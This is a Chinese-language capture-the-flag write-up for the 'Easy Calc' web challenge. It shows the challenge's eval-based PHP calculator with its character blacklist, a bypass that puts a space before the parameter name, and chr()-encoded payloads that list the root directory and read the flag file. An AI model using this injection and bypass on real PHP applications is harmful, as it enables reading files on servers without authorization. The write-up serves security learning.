Easy Calc
打开环境是个计算器,搜索一下Calc是什么
最后发现是CSS中的一个样式,用于进行一下计算
http://caibaojian.com/css3-calc.html
尝试一下注入1
2
3
4输入
1 正常
1’ 没有报错
1'# 直接给PASS了
到这里考虑不是SQL注入题
crtl+u看一下源码 看到作者给了提示 写了WAF保障安全
WAF:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
$(“#content”).val()是什么意思? 百度一下得知类似于HTML中的document.getElementById(“content”);
再百度一下encodeURIComponent 得知是将参数进行URI编码
再查看一下calc.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
根据WAF来进行绕过
接下来构造payload:
使用scandir()返回根目录看一下1
?num=1;var_dump(scandir(/));
发现不行 这里没有思路了 看一下WP知道了
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:1.删除空白符 2.将某些字符转换为下划线(包括空格)【当waf不让你过的时候,php却可以让你过】
所以在num变量前加个空格来让WAF识别不到 并且用char()进行转义1
? num=1;var_dump(scandir(chr(47)))
找到flagg目录
那就继续读取 使用file_get_contents1
? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag